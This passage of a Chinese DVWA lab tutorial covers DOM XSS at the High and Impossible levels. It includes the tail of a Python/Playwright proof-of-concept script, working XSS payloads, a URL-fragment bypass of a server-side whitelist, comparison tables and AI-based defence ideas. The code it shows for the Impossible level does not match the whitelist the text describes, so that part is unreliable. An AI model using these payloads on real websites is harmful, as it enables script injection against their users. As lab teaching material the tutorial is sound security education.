            if fired["done"]:
                print("[+] alert 弹窗触发,fragment 绕过实弹验证成功!")
            else:
                print("[-] 未触发弹窗(该版本可能从 location.search 取参,绕过不适用)")
            browser.close()


def main():
    ap = argparse.ArgumentParser(description="DVWA DOM XSS (xss_d) High 级别检测 PoC")
    ap.add_argument("-t", "--target", required=True, help="例如 http://dvwa.cc")
    ap.add_argument("-u", "--user", default="admin")
    ap.add_argument("-p", "--password", default="password")
    ap.add_argument("--browser", action="store_true", help="使用 playwright 实弹验证")
    args = ap.parse_args()

    poc = DVWADomXPoCHigh(args.target, args.user, args.password)
    if not poc.login():
        print("[-] 登录失败,请检查账号密码")
        sys.exit(1)
    print(f"[+] 登录成功: {args.user}")
    poc.run()
    if args.browser:
        poc.run_browser()
    print("\n[完成] 仅用于授权测试环境。")


if __name__ == "__main__":
    main()

脚本说明与运行结果:

High 级别的防护在服务端对 default 参数执行白名单校验(switch 语句,仅允许 FrenchEnglishGermanSpanish),不在白名单中的值一律 302 重定向至 ?default=English。由于 DOM XSS 的 payload 同样不会被服务器回显,本脚本采用「白名单拦截验证 + fragment 绕过 + Sink 特征检测」相结合的方式:

  1. 先以普通 payload(<script>alert('XSS')</script>)请求目标页面:若响应为 302 且 Location 指向 ?default=English,说明非白名单值被拦截,High 防护生效;
  2. 利用 URL 的 #(fragment)部分绕过白名单:fragment 不会被浏览器发送到服务器,因此请求 ?default=English#<img src=x onerror=alert('XSS')> 时,服务端只收到 default=English(白名单校验通过,返回 200),而 payload 完整保留在浏览器地址栏中;
  3. 进一步检查响应 JS 中是否同时存在以下两类特征:
    • document.write( ------ 危险输出函数;
    • document.location.href ------ 读取完整 URL(包含 # 后内容),并截取 default= 之后的全部值;
  4. 两者同时存在,说明 # 后的 payload 会被前端 JS 一并截取并通过 document.write 写入 DOM 执行,判定 High 级别 fragment 绕过成功、漏洞存在。

6、AI视角下的 DOM XSS 检测

(1)白名单验证的智能化增强

HIGH 级别的白名单是静态的,AI 可辅助实现智能白名单验证:

  • 动态白名单:从正常业务流量中自动学习合法的参数值模式;
  • 异常检测:识别偏离正常模式的异常输入;
  • 上下文感知:结合参数在 JavaScript 中的使用方式判断风险。

(2)客户端 DOM 操作的智能检测

即使服务器端有白名单,客户端 DOM 操作仍可能存在风险。AI 可辅助检测:

  • 数据流追踪:追踪 URL 参数到 DOM 写入的完整路径;
  • 危险模式识别 :检测 document.write()innerHTML 等危险操作;
  • 自动修复建议 :建议使用 textContent 替代 innerHTML。L

7、HIGH级别------小结

HIGH 级别通过服务器端白名单验证,有效阻止了直接的 URL 注入,但仍存在理论上的风险:

  • 白名单在服务器端有效,但客户端 JavaScript 仍会从 URL 中提取参数;
  • 若攻击者利用 URL 的 fragment(# 后内容)绕过白名单,仍可能触发 DOM XSS;
  • 真正的 DOM XSS 风险,根源在于客户端 JavaScript 代码本身。

一句话总结:HIGH 级别展示了白名单验证的有效性,但客户端 DOM 操作带来的安全问题,仍需在 JavaScript 层面加以解决。

Impossible 级别在客户端 JavaScript 中采用了安全编码实践,从根本上防范了 DOM XSS 的发生。

其核心安全改进体现在以下三个方面:

  • 客户端白名单验证 :在 JavaScript 中仅允许 FrenchEnglishGermanSpanish 四个预定义值;
  • 仅将白名单内的安全值写入 DOM :通过 switch 语句确保只有白名单内的值才会被写入页面;
  • 安全编码实践 :不使用 innerHTMLdocument.write() 写入用户输入。

五、Impossible 级别 ------ 客户端安全编码

1、漏洞描述

Impossible 级别在客户端 JavaScript 中采用了安全编码实践,从根本上防范了 DOM XSS 的发生。

其核心安全改进体现在以下三个方面:

  • 客户端白名单验证 :在 JavaScript 中仅允许 FrenchEnglishGermanSpanish 四个预定义值;
  • 仅将白名单内的安全值写入 DOM :通过 switch 语句确保只有白名单内的值才会被写入页面;
  • 安全编码实践 :不使用 innerHTMLdocument.write() 写入用户输入。

2、查看网页源代码

PHP 代码(source/impossible.php):

php 复制代码
<?php

# Don't need to do anything, protection handled on the client side

?>

JavaScript 代码(页面中):

javascript 复制代码
					if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("<option value='" + lang + "'>" + (lang) + "</option>");
						document.write("<option value='' disabled='disabled'>----</option>");
					}
					    
					document.write("<option value='English'>English</option>");
					document.write("<option value='French'>French</option>");
					document.write("<option value='Spanish'>Spanish</option>");
					document.write("<option value='German'>German</option>");
				

3、分析网页源代码

(1)代码概述

Impossible 级别采用了客户端安全编码,其核心逻辑如下:

  • document.URL 提取 default 参数;
  • 使用 switch 语句进行客户端白名单验证;
  • 仅允许 FrenchEnglishGermanSpanish 四个预定义值;
  • 其他值一律被替换为默认值 English

(2)安全分析

安全措施 实现方式 防御效果
客户端白名单验证 switch 语句精确匹配 防止恶意值写入 DOM
精确匹配 使用 case 精确匹配字符串 防止绕过(如 French<script>
安全写入 只写入白名单内的值 避免用户输入直接进入 DOM
默认值替换 非法值替换为 English 保证安全性

(3)为什么 Impossible 级别是安全的?

关键在于客户端白名单验证:

  • 虽然服务器端没有防护(PHP 代码为空),但客户端 JavaScript 实施了白名单验证;
  • 只有四个预定义的安全值会被写入 DOM;
  • 任何恶意 Payload 都会落入 default 分支,被替换为安全的 English
  • 用户输入不会被直接写入 DOM。

一句话总结:Impossible 级别通过客户端白名单验证,确保只有安全的预定义值被写入 DOM,从根源上杜绝了 DOM XSS 攻击,使其真正变得 "Impossible"。

4、操作步骤

(1)正常访问白名单值

在浏览器地址栏中,访问白名单内的语言值:

text 复制代码
http://dvwa.cc/vulnerabilities/xss_d/?default=French

预期结果:页面正常显示 French。

(2)尝试 XSS Payload(被客户端白名单拒绝)

在浏览器地址栏中,尝试注入恶意脚本:

text 复制代码
http://dvwa.cc/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>

预期结果:页面显示 English(默认值),弹窗未触发。

(3)尝试其他绕过方式(均被拒绝)

Payload 页面显示 结果
<img src=x onerror=alert(1)> English ❌ 被拒绝
French<script> 未匹配 ❌ 被拒绝
English%00 未匹配 ❌ 被拒绝

5、AI视角下的 DOM XSS 防御

Impossible 级别的客户端白名单验证已经能有效抵御 DOM XSS,但 AI 仍可在以下方面进一步增强防护能力,构建纵深防御体系:

(1)智能客户端防护

动态白名单:传统的静态白名单需要人工维护,难以适应业务快速迭代的需求。AI 可以根据业务需求自动学习并更新白名单,例如:

  • 从正常业务流量中提取合法的参数值模式,自动扩充白名单;
  • 当业务新增合法的语言选项时,AI 自动识别并纳入白名单,避免人工遗漏;
  • 对白名单中的值进行周期性审计,剔除不再使用的冗余项,保持白名单精简高效。

异常检测:AI 可以持续监控 URL 参数的变化规律,识别偏离正常模式的异常输入:

  • 基于历史流量建立参数值的统计分布模型,当某个参数值出现频率异常升高时触发告警;
  • 检测参数中是否包含 HTML 标签、JavaScript 关键字、编码混淆等攻击特征;
  • 结合用户行为分析,识别批量扫描、自动化攻击等可疑访问模式。

实时告警:当检测到可疑的 URL 参数时,AI 系统可以立即触发告警并采取响应措施:

  • 在客户端拦截可疑请求,阻止恶意参数进入页面逻辑;
  • 将告警信息实时上报至安全运营中心(SOC),便于安全团队及时介入分析;
  • 记录完整的攻击上下文(来源 IP、时间戳、Payload 内容),为后续溯源和规则优化提供数据支撑。

(2)客户端 DOM 操作的智能审计

即使采用了白名单验证,客户端 DOM 操作仍可能存在潜在风险。AI 可辅助进行持续审计:

  • 数据流追踪:自动追踪 URL 参数从读取到写入 DOM 的完整路径,识别是否存在未经验证的中间环节;
  • 危险函数扫描 :定期扫描前端代码,检测 document.write()innerHTMLeval() 等危险函数的使用情况;
  • 代码变更监控:当前端代码发生变更时,AI 自动对比新旧版本,评估新增代码是否引入新的 DOM XSS 风险。

(3)防御效果评估与持续优化

AI 还可以帮助安全团队评估现有防护措施的有效性,并持续优化防御策略:

  • 绕过测试模拟:自动生成多种绕过 payload(编码混淆、标签嵌套、事件处理器变体等),验证白名单的健壮性;
  • 防护覆盖率分析:统计各类攻击向量被拦截的比例,识别防护盲区;
  • 自适应策略调整:根据攻击趋势和绕过案例,动态调整白名单规则和检测阈值,实现防御能力的持续进化。

一句话总结:Impossible 级别的白名单验证提供了坚实的基线防护,而 AI 的引入则让防护体系具备了动态学习、智能检测和持续进化的能力,真正实现了从"被动防御"到"主动防御"的跨越。

6、Impossible级别------小结

Impossible 级别展示了客户端安全编码的正确实践,其核心防护思路可归纳为以下四点:

  • 客户端白名单验证:在 JavaScript 层面严格限制参数取值,从源头阻断恶意输入;
  • 精确匹配 :通过 switch 语句精确匹配,杜绝绕过可能;
  • 默认值替换:将非法值统一替换为安全默认值,确保任何异常输入都不会进入 DOM;
  • 安全写入:仅将预定义的安全值写入页面,避免用户输入直接参与 DOM 操作。

一句话总结:Impossible 级别通过客户端白名单验证,从根本上杜绝了 DOM XSS,使攻击真正变得 "Impossible"。

六、LOW vs MEDIUM vs HIGH vs Impossible:防御演进对比

1、防护策略演进对比

防护维度 LOW 级别 MEDIUM 级别 HIGH 级别 Impossible 级别
防护位置 ❌ 无 ⚠️ 服务器端 ⚠️ 服务器端 ✅ 客户端
防护策略 无防护 黑名单(<script> 白名单验证 客户端白名单验证
过滤完整性 ❌ 无 ⚠️ 不完整 ✅ 严格 ✅ 严格
客户端安全 ❌ 无 ❌ 无 ❌ 无(DOM 仍有风险) ✅ 安全编码

2、攻击面变化分析

攻击类型 LOW MEDIUM HIGH Impossible
<script> 注入 ✅ 直接注入 ❌ 服务器过滤 ❌ 白名单拒绝 ❌ 客户端白名单
其他标签注入 ✅ 直接注入 ✅ 可绕过 ❌ 白名单拒绝 ❌ 客户端白名单
URL 编码绕过 ✅ 直接注入 ⚠️ 部分可行 ❌ 白名单拒绝 ❌ 客户端白名单
白名单绕过 N/A N/A ⚠️ 理论可能 ❌ 客户端双重验证

3、DOM XSS 防御的核心原则

原则 说明 实现级别
客户端白名单验证 在 JavaScript 中验证所有用户输入 Impossible
安全 DOM 操作 使用 textContent 而非 innerHTML 建议
CSP 策略 使用内容安全策略限制脚本执行 架构级
避免 document.write() 使用更安全的 DOM 操作方法 建议
输入编码 对用户输入进行 HTML 编码 建议

七、总结

1、漏洞全景回顾

对比维度 LOW 级别 MEDIUM 级别 HIGH 级别 Impossible 级别
防护层 🔴 无 🟠 服务器黑名单 🟢 服务器白名单 🟢 客户端白名单
防护完整性 🔴 无 🟠 不完整 🟡 完整但位置不对 🟢 完整且位置正确
客户端安全 🔴 不安全 🔴 不安全 🔴 不安全 🟢 安全

2、关键启发

DOM XSS 的根源在客户端。 与反射型、存储型 XSS 不同,DOM XSS 的漏洞位于客户端 JavaScript 代码中,服务器端过滤无法从根本上解决问题。

白名单的位置至关重要。 HIGH 级别的服务器端白名单虽然有效,但客户端 JavaScript 仍存在风险。真正的解决方案是在客户端同样实施白名单验证。

安全编码是防御的关键。 Impossible 级别通过客户端白名单验证,确保只有安全的预定义值被写入 DOM,从源头杜绝了注入可能。

DOM XSS 的防御思路可概括为: 不信任任何用户输入 → 在客户端验证 → 只写入安全值 → 使用安全

八、AI增强防御建议

1、智能 DOM XSS 检测

对比维度 传统方案 AI 增强方案
检测方式 依赖人工代码审计 自动化 DOM 污染检测
分析手段 基于规则的静态分析 基于机器学习的异常检测
检测能力 难以发现复杂漏洞 识别隐蔽的 DOM 操作链

实现思路:

  • 使用静态分析追踪数据从 document.URLdocument.write() 的完整路径;
  • 使用 Taint 分析将用户输入标记为"不可信",并追踪其传播路径;
  • 使用机器学习识别危险的 DOM 操作模式。

2、基于行为的 XSS 检测

  • DOM 操作监控 :监控页面中的 innerHTMLdocument.write() 等危险操作;
  • 参数异常检测:检测 URL 参数中是否包含可疑字符或编码混淆;
  • 实时告警:对可疑的 DOM 操作触发即时告警,阻断攻击链路。

3、实施优先级建议

优先级 措施 实施难度 防御效果
客户端白名单验证
安全 DOM 操作
CSP 策略
智能 DOM XSS 检测
AI 行为分析

4、总结

AI 时代的 DOM XSS 防御,不是用 AI 替代传统防御,而是用 AI 增强传统防御。

  • 传统防御:提供基础安全基线(白名单验证、安全编码);
  • AI 增强:提供智能化的 DOM 操作检测、异常识别和自适应响应。

二者结合,才能构建真正 robust 的 DOM XSS 防御体系。

免责声明:本文所述内容仅供安全研究与学习交流使用,所有测试均在本地授权靶场(DVWA)环境中进行。未经授权,严禁将文中技术用于任何非法目的。

📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 11 篇文章。

如果你在阅读过程中有任何疑问,欢迎在评论区留言交流。😊

相关推荐
单线程_0117 分钟前
从案例分析 Vue3 Tokenizer+Parser 源码三
前端·javascript·vue.js
顶点多余40 分钟前
那些在算法中适合巩固的知识点---1
java·前端·算法
IT大白鼠1 小时前
MSF二次开发与自定义模块编写
网络·安全·web安全·msf
Setsuna_F_Seiei1 小时前
前端转型 Agent 开发 03 之 Agent Tools - 给 Agent 装上手脚
前端·agent·ai编程
jay神1 小时前
【计算机毕业设计】基于SpringBoot的程序教学辅助系统
java·前端·vue.js·spring boot·后端·毕业设计·课程设计
kyriewen4 小时前
我装了30多个Skill,给AI安排了8个岗位
前端·javascript·ai编程
风骏时光牛马4 小时前
大模型落地实践中的技术选型思路与方案对比
前端
IT_陈寒4 小时前
Vite打包时的静态资源坑,我帮你踩过了
前端·人工智能·后端
kaixin_啊啊5 小时前
线性规划与整数规划
ai